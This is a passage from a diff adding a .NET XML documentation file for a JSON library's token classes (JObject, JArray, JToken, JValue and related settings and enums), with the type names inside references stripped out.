new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads an from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + + + + + Returns an enumerator that iterates through the collection. + + + A of that can be used to iterate through the collection. + + + + + Adds an item to the . + + The object to add to the . + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the to an array, starting at a particular array index. + + The array. + Index of the array. + + + + Gets a value indicating whether the is read-only. + + true if the is read-only; otherwise, false. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Represents a JSON constructor. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a token that can contain other tokens. + + + + + Occurs when the list changes or an item in the list changes. + + + + + Occurs before an item is added to the collection. + + + + + Occurs when the items list of the collection has changed, or the collection is reset. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An of containing the descendant tokens of the . + + + + Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. + + An of containing this token, and all the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates a that can be used to add tokens to the . + + A that is ready to have content written to it. + + + + Replaces the child nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Merge the specified content into this . + + The content to be merged. + + + + Merge the specified content into this using . + + The content to be merged. + The used to merge the content. + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens. + + + + Represents a collection of objects. + + The type of token. + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Gets the of with the specified key. + + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Represents a JSON object. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Occurs when a property value changes. + + + + + Occurs when a property value is changing. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets the node type for this . + + The type. + + + + Gets an of of this object's properties. + + An of of this object's properties. + + + + Gets a with the specified name. + + The property name. + A with the specified name or null. + + + + Gets the with the specified name. + The exact name will be searched for first and if no matching property is found then + the will be used to match a property. + + The property name. + One of the enumeration values that specifies how the strings will be compared. + A matched with the specified name or null. + + + + Gets a of of this object's property values. + + A of of this object's property values. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Determines whether the JSON object has the specified property name. + + Name of the property. + true if the JSON object has the specified property name; otherwise, false. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries to get the with the specified property name. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Represents a JSON property. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a view of a . + + + + + Initializes a new instance of the class. + + The name. + + + + When overridden in a derived class, returns whether resetting an object changes its value. + + + true if resetting the component changes its value; otherwise, false. + + The component to test for reset capability. + + + + When overridden in a derived class, gets the current value of the property on a component. + + + The value of a property for a given component. + + The component with the property for which to retrieve the value. + + + + When overridden in a derived class, resets the value for this property of the component to the default value. + + The component with the property value that is to be reset to the default value. + + + + When overridden in a derived class, sets the value of the component to a different value. + + The component with the property value that is to be set. + The new value. + + + + When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. + + + true if the property should be persisted; otherwise, false. + + The component with the property to be examined for persistence. + + + + When overridden in a derived class, gets the type of the component this property is bound to. + + + A that represents the type of component this property is bound to. + When the or + + methods are invoked, the object specified might be an instance of this type. + + + + + When overridden in a derived class, gets a value indicating whether this property is read-only. + + + true if the property is read-only; otherwise, false. + + + + + When overridden in a derived class, gets the type of the property. + + + A that represents the type of the property. + + + + + Gets the hash code for the name of the member. + + + + The hash code for the name of the member. + + + + + Represents a raw JSON string. + + + + + Asynchronously creates an instance of with the content of the reader's current token. + + The reader. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns an instance of with the content of the reader's current token. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Specifies the settings used when cloning JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets a flag that indicates whether to copy annotations when cloning a . + The default value is true. + + + A flag that indicates whether to copy annotations when cloning a . + + + + + Specifies the settings used when loading JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how JSON comments are handled when loading JSON. + The default value is . + + The JSON comment handling. + + + + Gets or sets how JSON line info is handled when loading JSON. + The default value is . + + The JSON line info handling. + + + + Gets or sets how duplicate property names in JSON objects are handled when loading JSON. + The default value is . + + The JSON duplicate property name handling. + + + + Specifies the settings used when merging JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the method used when merging JSON arrays. + + The method used when merging JSON arrays. + + + + Gets or sets how null value properties are merged. + + How null value properties are merged. + + + + Gets or sets the comparison used to match property names while merging. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + The comparison used to match property names while merging. + + + + Specifies the settings used when selecting JSON. + + + + + Gets or sets a timeout that will be used when executing regular expressions. + + The timeout that will be used when executing regular expressions. + + + + Gets or sets a flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + A flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + + + Represents an abstract JSON token. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Writes this token to a asynchronously. + + A into which this method will write. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the path of the JSON token. + + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of tokens that contain this token, and the ancestors of this token. + + A collection of tokens that contain this token, and the ancestors of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output should be formatted. + A collection of s which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to []. + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from [] to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Creates a for this token. + + A that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object. + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + Creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A , or null. + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + A . + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + The used to select tokens. + A . + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + The used to select tokens. + An of that contains the selected elements. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A object to configure cloning settings. + A new instance of the . + + + + Adds an object to the annotation list of this . + + The annotation to add. + + + + Get the first annotation object of the specified type from this . + + The type of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets the first annotation object of the specified type from this . + + The of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets a collection of annotations of the specified type for this . + + The type of the annotations to retrieve. + An that contains the annotations for this . + + + + Gets a collection of annotations of the specified type for this . + + The of the annotations to retrieve. + An of that contains the annotations that match the specified type for this . + + + + Removes the annotations of the specified type from this . + + The type of annotations to remove. + + + + Removes the annotations of the specified type from this . + + The of annotations to remove. + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Gets the at the reader's current position. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Initializes a new instance of the class. + + The token to read from. + The initial path of the token. It is prepended to the returned . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the path of the current JSON token. + + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets the at the writer's current position. + + + + + Gets the token being written. + + The token being written. + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying . + + + + + Closes this writer. + If is set to true, the JSON is auto-completed. + + + Setting to true has no additional effect, since the underlying is a type that cannot be closed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes a value. + An error will be raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Creates a null value. + + A null value. + + + + Creates a undefined value. + + A undefined value. + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Writes this token to a . + + A into which this method will write. + A collection of s which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not of the same type as this instance. + + + + + Specifies how line information is handled when loading JSON. + + + + + Ignore line information. + + + + + Load line information. + + + + + Specifies how JSON arrays are merged together. + + + + Concatenate arrays. + + + Union arrays, skipping items that already exist. + + + Replace all array items. + + + Merge array items together, matched by index. + + + + Specifies how null value properties are merged. + + + + + The content's null value properties will be ignored during merging. + + + + + The content's null value properties will be merged. + + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies metadata property handling options for the . + + + + + Read metadata properties located at the start of a JSON object. + + + + + Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. + + + + + Do not try to read metadata properties. + + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + 